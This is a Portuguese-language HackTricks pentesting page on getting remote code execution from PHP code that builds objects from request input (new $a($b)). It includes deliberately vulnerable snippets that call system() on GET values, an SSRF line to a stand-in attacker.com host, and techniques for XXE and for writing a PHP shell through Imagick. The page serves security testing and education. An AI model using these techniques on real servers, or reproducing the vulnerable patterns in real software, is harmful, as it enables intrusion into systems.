hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
2023-06-06 18:56:34 +00:00

9.3 KiB

PHP - RCE abusando da criação de objetos: new $_GET["a"]($_GET["b"])

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introdução

Na situação em que você pode criar um novo objeto arbitrário como new $_GET["a"]($_GET["a"]), você pode ser capaz de obter RCE, e este artigo expõe diferentes maneiras de obter RCE.

RCE via Classes Personalizadas ou Autoloading

Na construção new $a($b), a variável $a representa o nome da classe para a qual o objeto será criado, e a variável $b representa o primeiro argumento que será passado para o construtor do objeto.

Se $a e $b vierem de GET/POST, eles podem ser strings ou arrays de strings. Se eles vierem de JSON ou de outro lugar, eles podem ter outros tipos, como objeto ou booleano.

Vamos considerar o seguinte exemplo:

class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Neste código, você pode definir $a como App ou App2 e $b como uname -a. Depois disso, o comando uname -a será executado.

Quando não há classes exploráveis em sua aplicação, ou você tem a classe necessária em um arquivo separado que não é incluído pelo código vulnerável, você pode dar uma olhada em funções de carregamento automático.

As funções de carregamento automático são definidas registrando callbacks via spl_autoload_register ou definindo __autoload. Elas são chamadas quando uma instância de uma classe desconhecida está tentando ser criada.

# An example of an autoloading function
spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
        include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();

Dependendo da versão do PHP e do código nas funções de carregamento automático, pode haver algumas maneiras de obter uma Execução de Código Remoto via carregamento automático.

RCE via Classes Integradas

Quando você não tem classes personalizadas e carregamento automático, pode depender apenas de classes integradas do PHP.

Existem de 100 a 200 classes integradas do PHP. O número delas depende da versão do PHP e das extensões instaladas. Todas as classes integradas podem ser listadas por meio da função get_declared_classes, juntamente com as classes personalizadas:

var_dump(get_declared_classes());

Classes com construtores úteis podem ser encontradas através da API de reflexão.

Exibindo construtores e seus parâmetros usando a API de reflexão: https://3v4l.org/2JEGF\

Se você controla múltiplos parâmetros do construtor e pode chamar métodos arbitrários posteriormente, existem muitas maneiras de obter uma Execução Remota de Código. Mas se você pode passar apenas um parâmetro e não tem nenhuma chamada para o objeto criado, há quase nada.

Eu conheço apenas três maneiras de obter algo de new $a($b).

SSRF + desserialização Phar

A classe SplFileObject implementa um construtor que permite conexão com qualquer URL local ou remoto:

new SplFileObject('http://attacker.com/');

Isso permite SSRF. Além disso, SSRFs em PHP < 8.0 podem ser transformados em desserializações por meio de técnicas com o protocolo Phar.

Explorando PDOs

A classe PDO tem outro construtor interessante:

new PDO("sqlite:/tmp/test.txt")

O construtor PDO aceita strings DSN, permitindo conectar-se a qualquer banco de dados local ou remoto usando extensões de banco de dados instaladas. Por exemplo, a extensão SQLite pode criar arquivos vazios.

SoapClient/SimpleXMLElement XXE

No PHP ≤ 5.3.22 e ≤ 5.4.12, o construtor de SoapClient era vulnerável a XXE. O construtor de SimpleXMLElement também era vulnerável a XXE, mas exigia libxml2 < 2.9.

RCE via Extensão Imagick

Verificando as dependências do projeto que você está tentando explorar, você pode encontrar novas classes que podem ser abusadas para executar comandos criando um novo objeto. Neste caso, o Imagick foi encontrado para ser útil para esse propósito.

Analisador VID

O analisador VID permite escrever conteúdo arbitrário em um caminho arbitrário dentro do sistema de arquivos, o que permitiria a um invasor escrever um PHPshell em uma pasta acessível a partir da página da web e obter RCE.

Analisador VID + Upload de Arquivo

Quando um arquivo é carregado no PHP, ele é armazenado temporariamente em /tmp/phpXXXXXX. O analisador VID do Imagick com o protocolo msl permite especificar curingas nos caminhos dos arquivos (para que o arquivo carregado temporariamente possa ser facilmente acessado) e copiá-lo para qualquer local arbitrário.
Esta é outra maneira de obter gravação de arquivo arbitrário dentro do sistema de arquivos:

PHP Crash + Brute Force

O writeup original explicou outra maneira de obter RCE carregando arquivos com conteúdo específico e fazendo o servidor travar antes de excluir esse arquivo e, em seguida, forçando o nome do arquivo temporário até que o Imagick execute código PHP arbitrário.

No entanto, aparentemente o truque de falha descoberto só funcionou em uma versão antiga do ImageMagick.

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥